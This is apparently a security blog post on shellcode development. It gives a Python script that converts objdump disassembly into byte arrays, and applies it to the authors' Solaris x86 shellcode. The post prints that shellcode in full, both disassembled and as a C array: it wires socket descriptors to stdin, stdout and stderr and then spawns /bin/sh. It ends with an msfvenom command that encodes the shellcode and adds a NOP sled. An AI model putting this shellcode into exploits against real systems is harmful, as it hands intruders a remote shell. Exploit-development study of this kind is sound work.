As Luca has already pointed out, we spent a lot of time developing our own shellcode for the pp200. Usually a typical shellcode development environment looks like this:
void
f(void)
{
//__asm__ or C code
}
int
main()
{
f();
}The actual code goes into the f-function either as inline assembly or C. Now the module is typically compiled, disassembled and the resulting opcodes are put in binary form, as C-array or whatever you prefer into an exploit-script. What usually costs about 1-2 minutes of time for each iteration is to format the disassembled opcodes into the format needed, no big deal but since it is scriptable it shall be done:
#!/usr/bin/python
import sys
import re
def get_code():
code = []
lines = sys.stdin.readlines()
pattern = re.compile('.*:\s+(([0-9a-f]{2} | [0-9a-f]{2})+)($|\s\s\s\s+.*)')
hexpat = re.compile('([0-9a-f]{2})')
for i in lines:
i = i.rstrip('\n')
match = re.search(pattern, i)
if match:
match = re.findall(hexpat, match.group(1))
for byte in match:
code.append(int(byte, 16))
else:
raise Exception('line "%s" did not match expected format' % (i))
return code
def write_binary(code):
for byte in code:
sys.stdout.write("%c" % byte)
def write_c_arr(code):
sys.stdout.write('static char code [] = "')
for byte in code:
sys.stdout.write("\\x%02x" % byte)
sys.stdout.write('";\n')
def write_python_string(code):
sys.stdout.write('code = "')
for byte in code:
sys.stdout.write("\\x%02x" % byte)
sys.stdout.write('"\n')
def usage(name):
print "%s \npossible modes:\n\t-b binary (default)\n\t-p python\n\t-c C\n\ninput is read from stdin" % name
def main():
if len(sys.argv) == 2 and (sys.argv[1] == '-h' or sys.argv[1] == '--help'):
usage(sys.argv[0])
sys.exit(0)
code = get_code()
if len(sys.argv) == 2:
if sys.argv[1] == '-b':
write_binary(code)
elif sys.argv[1] == '-p':
write_python_string(code)
elif sys.argv[1] == '-c':
write_c_arr(code)
else:
write_binary(code)
if __name__ == '__main__':
main()
You simply pipe or paste the output of objdump -D into the script and it outputs the opcodes in raw binary form, as C-array or python-string.Plugging in our solaris shellcode gives us:
shell_code.py -c 80483a6: 90 nop 80483a7: 31 d2 xor %edx,%edx 80483a9: 31 db xor %ebx,%ebx 80483ab: 31 ff xor %edi,%edi 80483ad: 31 c9 xor %ecx,%ecx 80483af: b3 09 mov $0x9,%bl 80483b1: 66 bf 3e 00 mov $0x3e,%di 80483b5: b1 05 mov $0x5,%cl 80483b7: 52 push %edx 80483b8: 53 push %ebx 80483b9: 51 push %ecx 80483ba: 52 push %edx 80483bb: 89 f8 mov %edi,%eax 80483bd: cd 91 int $0x91 80483bf: 6a 01 push $0x1 80483c1: 53 push %ebx 80483c2: 51 push %ecx 80483c3: 52 push %edx 80483c4: 89 f8 mov %edi,%eax 80483c6: cd 91 int $0x91 80483c8: 6a 02 push $0x2 80483ca: 53 push %ebx 80483cb: 51 push %ecx 80483cc: 52 push %edx 80483cd: 89 f8 mov %edi,%eax 80483cf: cd 91 int $0x91 80483d1: 31 c0 xor %eax,%eax 80483d3: 50 push %eax 80483d4: 68 6e 2f 73 68 push $0x68732f6e 80483d9: 68 2f 2f 62 69 push $0x69622f2f 80483de: 89 e3 mov %esp,%ebx 80483e0: 50 push %eax 80483e1: 53 push %ebx 80483e2: 89 e2 mov %esp,%edx 80483e4: 50 push %eax 80483e5: 52 push %edx 80483e6: 53 push %ebx 80483e7: b0 3b mov $0x3b,%al 80483e9: 50 push %eax 80483ea: cd 91 int $0x91 static char code [] = "\x90\x31\xd2\x31\xdb\x31\xff\x31\xc9\xb3\x09\x66\xbf\x3e\x00 \xb1\x05\x52\x53\x51\x52\x89\xf8\xcd\x91\x6a\x01\x53\x51\x52\x89\xf8\xcd\x91\x6a\x02 \x53\x51\x52\x89\xf8\xcd\x91\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89 \xe3\x50\x53\x89\xe2\x50\x52\x53\xb0\x3b\x50\xcd\x91";This script can be used with metasploit's msfvenom to create shellcode that is for example also free of zerobytes and newlines and has a 200 byte nop-sled prepended:
shell_code.py | ./msfvenom -p - -n 200 -b '\x00\x0a' -f c
0 comments:
Post a Comment